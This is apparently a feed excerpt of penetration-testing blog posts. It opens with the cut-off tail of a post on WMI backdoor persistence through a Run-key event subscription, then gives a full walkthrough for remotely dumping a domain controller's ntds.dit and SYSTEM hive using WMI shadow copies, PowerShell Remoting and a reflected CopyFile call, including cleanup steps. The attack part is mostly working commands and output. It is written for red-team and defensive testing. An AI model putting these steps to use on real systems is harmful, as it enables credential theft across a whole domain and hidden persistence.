       Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath=''SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'' AND ValueName = '$name'"
       QueryLanguage = 'WQL'
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Backdoor Registry Consumer"
       CommandLineTemplate = $Command
}
$Binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
       Filter = $Filter
       Consumer = $Consumer
}

In this instance we setup an extrinsic event that looks for a registry entry change in theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ key and upon detecting the change restores the keys value.

There are many possible uses for WMI Event Triggers and Consumers. For instance we could trigger on a password change event and run Invoke-Mimikatz afterword.

The post Getting Started with WMI Weaponization – Part 5 appeared first on NetSPI.

]]>
Getting Started with WMI Weaponization – Part 4 https://www.netspi.com/blog/technical-blog/adversary-simulation/getting-started-wmi-weaponization-part-4/ Thu, 13 Apr 2017 07:00:59 +0000 https://www.netspi.com/getting-started-wmi-weaponization-part-4/ In this post I’ll cover another method for recovering the ntds.dit file remotely using WMI Volume Shadow Copy methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file.

The post Getting Started with WMI Weaponization – Part 4 appeared first on NetSPI.

]]>
Stealing the NTDS.dit File Remotely using the WMI Win32_ShadowCopy Class

Dumping password hashes is a pretty common task during pentest and red team engagements. For domain controllers, it can be done a number of different ways including, but not limited to, DCSync (drsuapi), lsadump, and parsing the ntds.dit directly.  Sean Metcalf has already covered how to execute the password hash recovery both locally and remotely in an amazing blog. Each with its own set of IoCs.  In this post I’ll cover yet another method for recovering the ntds.dit file remotely using WMI Volume Shadow Copy methods, but the methods described here could also be used to retrieve local password hashes from the SAM and SYSTEM file. Please note the technique described here does require domain administrative privileges.

Why would I use this technique?

On the whole, this technique will provide penetration testers with another means of dumping the ntds.dit via volume shadow copies without having to call the vssadmin.exe tool.  This helps to decrease the number of indicator related to the attack.  Testing with this method can also help to push against blue team’s defense to make sure they can identify slight variations on this common attack.

Let’s See Some Command Examples

Let’s just jump right into it. Below are the PowerShell WMI commands to dump the ntds from a remote domain controller using the Win32_ShadowCopy class functions.

  1. First, map the c$ of the target domain controller. This isn’t required, but can simplify the process.
    PS C:\windows\system32> New-PSDrive -Name "S" -Root "\\10.1.1.1\c$" -PSProvider "FileSystem"
    
    Name           Used (GB)     Free (GB) Provider      Root
    ----           ---------     --------- --------      ----
    S                                      FileSystem    \\10.1.1.1\c$
    
    PS C:\windows\system32> cd s:
    PS S:\> ls
    
        Directory: \\10.1.1.1\c$
    
    Mode                LastWriteTime     Length Name
    ----                -------------     ------ ----
    d----         2/13/2015   8:27 PM            PerfLogs
    d-r--         8/26/2016   8:00 PM            Program Files
    d-r--         6/13/2016   7:00 PM            Program Files (x86)
    d-r--         12/5/2016   2:38 PM            Users
    d----          2/5/2017   4:16 PM            Windows
  2. Then, create a shadow copy of the C:\ drive on the remote domain controller using the “Win32_ShadowCopy” class. Note that the new shadow copy has a unique “ShadowId”.
    PS S:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','C:\' -ComputerName 10.1.1.1
    PS S:\> $wmi
    
    __GENUS          : 2
    __CLASS          : __PARAMETERS
    __SUPERCLASS     :
    __DYNASTY        : __PARAMETERS
    __RELPATH        :
    __PROPERTY_COUNT : 2
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    ReturnValue      : 0
    ShadowID         : {7DE8D573-A8BFB-41E6-92F6-A34938E432FC}
    PSComputerName   :
  3. Next, convert the “ShadowId” to a string and use it to query the domain controller for more information about the shadow copy. Specifically, we want the “DeviceObject”. This will give us the path to our newly created shadow copy.
    PS S:\> $ShadowID = $wmi.ShadowID.ToString()
    
    PS S:\> $ShadowID
    {7DE8D573-A8FB-41E6-92F6-A34938E432FC}
    
    PS S:\> $ShadowCopy = Get-WmiObject -Query "SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = '$ShadowID'" -ComputerName 10.1.1.1
    
    PS S:\> $ShadowCopy
    
    __GENUS          : 2
    __CLASS          : Win32_ShadowCopy
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    DeviceObject     : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621
    PSComputerName   :
  4. Next, convert the “DeviceObject” to a string so it can be used in future WMI queries.
    PS S:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString()
    PS S:\> $DeviceObject
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1621
  5. Now copy the ntds.dit directly from the shadow copy path on the domain controller using the WMI “Win32_Process” class. By default, the ntds.dit can be stored in both the C:\Windows\NTDS and C:\Windows\System32\ directories. Below are example commands for both.
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" -ComputerName 10.1.1.1
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\NTDS\ntds.dit C:\" -ComputerName 10.1.1.1
    PS S:\> Copy-Item S:\ntds.dit C:\
    PS S:\> Remove-Item S:\ntds.dit
    PS S:\> Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\config\SYSTEM C:\" -ComputerName 10.1.1.1
    PS S:\> Copy-Item S:\SYSTEM.dit C:\
    PS S:\> Remove-Item S:\SYSTEM
    PS S:\> Set-Location C:\
    PS C:\> Remove-PSDrive S

But what if the ntds.dit file isn’t stored on the C drive?

Surprise! Sometimes admins put system files in strange places. If you can’t find the ntds.dit in its default locations, you can determine where it’s hiding by looking in the registry.  Below I’ll show how to use PowerShell Remoting to look up the alternative location and dump the ntds.dit.

  1. To prep our box we are going to enable PowerShell Remoting, enabled the WinRM service, and set the domain controller as a trusted host.
    PS C:\> Enable-PSRemoting –Force –SkipNetworkProfileCheck
    PS C:\> Start-Service WinRM
    
    WinRM Security Configuration.
    This command modifies the TrustedHosts list for the WinRM client. The computers
    in the TrustedHosts list might not be authenticated. The client might send
    credential information to these computers. Are you sure that you want to modify
    this list?
    
    [Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): Y
  2. Now start a new PowerShell Remoting session to the domain controller. From there we can grab the location of the elusive non-standard ntds.dit file path.
    PS C:\> Enter-PSSession 10.1.1.1
    [10.1.1.1]: PS C:\Users\admin\Documents> Set-Location C:\
    [10.1.1.1]: PS C:\> $DitPath = (Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters -Name "DSA Database file").'DSA Database file'
    [10.1.1.1]: PS C:\> $DitPath
    D:\NTDS\ntds.dit

This could also be done remotely via WMI

PS C:\> $Hive = [uint32]2147483650
PS C:\> $Key = "SYSTEM\\CurrentControlSet\\Services\\NTDS\Parameters"
PS C:\> $Value = "DSA Database File"
PS C:\> $DitPath = (Invoke-WmiMethod -Class StdRegProv -Name GetStringValue -ArguementList $Hive, $Key, $Value -ComputerName 10.1.1.1).sValue
PS C:\> $DitPath
D:\NTDS\ntds.dit
  1. Now that we have the path we’ll create our shadow copy and grab the “DeviceObject” so we can copy the file off.
    [10.1.1.1]: PS C:\> $DitRelativePath = $DitPath.Split("\")[1..($DitPath.Length)] -Join "\"
    [10.1.1.1]: PS C:\> $wmi = Invoke-WmiMethod -Class Win32_ShadowCopy -Name Create -ArgumentList 'ClientAccessible','F:\'
    [10.1.1.1]: PS C:\> $wmi
    
    __GENUS          : 2
    __CLASS          : __PARAMETERS
    __SUPERCLASS     :
    __DYNASTY        : __PARAMETERS
    __RELPATH        :
    __PROPERTY_COUNT : 2
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    ReturnValue      : 0
    ShadowID         : {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265}
    PSComputerName   :
    
    [10.1.1.1]: PS C:\> $ShadowID = $wmi.ShadowID.ToString()
    {A6EAFEDD-8FB2-4EBE-A13B-C992C7E2E265}
    [10.1.1.1]: PS C:\> $ShadowCopy = Get-WmiObject -Class Win32_ShadowCopy -Property DeviceObject -Filter "ID = '$($wmi.ShadowID)'"
    [10.1.1.1]: PS C:\> $ShadowCopy
    
    __GENUS          : 2
    __CLASS          : Win32_ShadowCopy
    __SUPERCLASS     :
    __DYNASTY        :
    __RELPATH        :
    __PROPERTY_COUNT : 1
    __DERIVATION     : {}
    __SERVER         :
    __NAMESPACE      :
    __PATH           :
    DeviceObject     : \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641
    PSComputerName   :
    
    [10.1.1.1]: PS C:\> $DeviceObject = $ShadowCopy.DeviceObject.ToString()
    [10.1.1.1]: PS C:\> $DeviceObject
    \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1641
  2. The powershell native Copy-Item fails to retrieve the file from the VolumeShadow Copy snapshot. So we are going to get fancy with our file copy to change it up a little. First we are going to get the runtime version and directory of .net.
    [10.1.1.1]: PS C:\> $mscorlib = [System.Reflection.Assembly]::LoadFile("$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())mscorlib.dll")
    [10.1.1.1]: PS C:\> $mscorelib
    
    GAC    Version        Location
    ---    -------        --------
    True   v4.0.30319     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorl...
  3. Next, we instantiate an object from the “Win32.Win32Native” class.
    [10.1.1.1]: PS C:\> $Win32Native = $mscorlib.GetType(‘Microsoft.Win32.Win32Native’)
    [10.1.1.1]: PS C:\> $Win32Native
    
    IsPublic IsSerial Name                                     BaseType
    -------- -------- ----                                     --------
    False    False    Win32Native                              System.Object
  4. This object will then be used to call the native “CopyFile”.
    [10.1.1.1]: PS C:\> $CopyFile =  $Win32Native.GetMethod(‘CopyFile’, ([Reflection.BindingFlags] ‘NonPublic, Static’))
    [10.1.1.1]: PS C:\> $CopyFile
    
    Name                       : CopyFile
    DeclaringType              : Microsoft.Win32.Win32Native
    ReflectedType              : Microsoft.Win32.Win32Native
    MemberType                 : Method
    MetadataToken              : 100677580
    Module                     : CommonLanguageRuntimeLibrary
    IsSecurityCritical         : True
    IsSecuritySafeCritical     : False
    IsSecurityTransparent      : False
    MethodHandle               : System.RuntimeMethodHandle
    Attributes                 : PrivateScope, Assembly, Static, HideBySig,
                                 PinvokeImpl
    CallingConvention          : Standard
    ReturnType                 : System.Boolean
    ReturnTypeCustomAttributes : Boolean
    ReturnParameter            : Boolean
    IsGenericMethod            : False
    IsGenericMethodDefinition  : False
    ContainsGenericParameters  : False
    MethodImplementationFlags  : PreserveSig
    IsPublic                   : False
    IsPrivate                  : False
    IsFamily                   : False
    IsAssembly                 : True
    IsFamilyAndAssembly        : False
    IsFamilyOrAssembly         : False
    IsStatic                   : True
    IsFinal                    : False
    IsVirtual                  : False
    IsHideBySig                : True
    IsAbstract                 : False
    IsSpecialName              : False
    IsConstructor              : False
    CustomAttributes           : {[System.Runtime.InteropServices.DllImportAttribut
                                 e("kernel32.dll", EntryPoint = "CopyFile",
                                 CharSet = 4, ExactSpelling = False, SetLastError
                                 = True, PreserveSig = True, CallingConvention =
                                 1, BestFitMapping = False, ThrowOnUnmappableChar
                                 = False)], [System.Runtime.InteropServices.Preserv
                                 eSigAttribute()]}
  5. Next we are going to copy the ntds.dit and SYSTEM files to the C:\ drive on the domain controller. The SYSTEM file is also downloaded so the boot key can be extracted to decrypt the ntds.dit file.Note: could also be directly written to a network share the attacker controls.
    [10.1.1.1]: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\$DitRelativePath", "C:\ntds.dit", $false))
    True
    
    [10.1.1.1]: PS C:\> $CopyFile.Invoke($null, @("$DeviceObject\Windows\System32\config\SYSTEM", "C:\SYSTEM", $false))
    True
  6. Now copy our files off of the C:\ drive of the domain controller, and clean up.
    [10.1.1.1]: PS C:\> Exit-PSSession
    PS C:\> New-PSDrive -Name "S" -Root "\\10.4.67.201\c$" -PSProvider "FileSystem"
    PS C:\> Copy-Item S:\ntds.dit C:\
    PS C:\> Remove-Item S:\ntds.dit
    PS C:\> Copy-Item S:\SYSTEM C:\
    PS C:\> Remove-Item S:\SYSTEM
    PS C:\> Remove-PSDrive "S"

After you have the ntds.dit you can parse it offline using a variety of tools.

The post Getting Started with WMI Weaponization – Part 4 appeared first on NetSPI.

]]>